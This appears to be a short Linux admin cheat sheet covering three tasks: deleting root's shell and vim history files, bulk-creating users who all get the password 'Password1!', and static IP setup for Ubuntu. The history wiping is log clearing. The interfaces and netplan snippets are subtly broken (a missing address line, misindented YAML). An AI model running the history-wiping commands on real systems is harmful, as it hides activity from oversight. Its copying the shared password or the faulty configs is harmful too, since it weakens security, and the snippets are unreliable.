Linux clear history: (we are purposely not removing apt logs and such)

rm -f /root/.viminfo
rm -f /root/.bash_history
rm -f /root/.zsh_history

Linux add users:

for user in $(cat users.txt); do useradd -m -s /bin/bash $user; echo "$user:Password1!" | chpasswd; done

Linux set static IP for before Ubuntu 22:

/etc/network/interfaces
auto eth0
iface eth0 inet static

netmask 255.255.255.0
network 192.168.0.1
broadcast 192.168.0.255
gateway 192.168.0.1

Linux set static IP for Ubuntu 22 and later:

/etc/netplan/00-ethernet.yaml

network:
  version: 2
  renderer: networkd
  ethernets:
    <interface name>:
      dhcp4: false
      dhcp6: false
     addresses:
      - 192.168.0.10/24
     routes:
      - to: default
        via: 192.168.0.1
     nameservers:
       addresses: [192.168.0.1]

sudo netplan apply
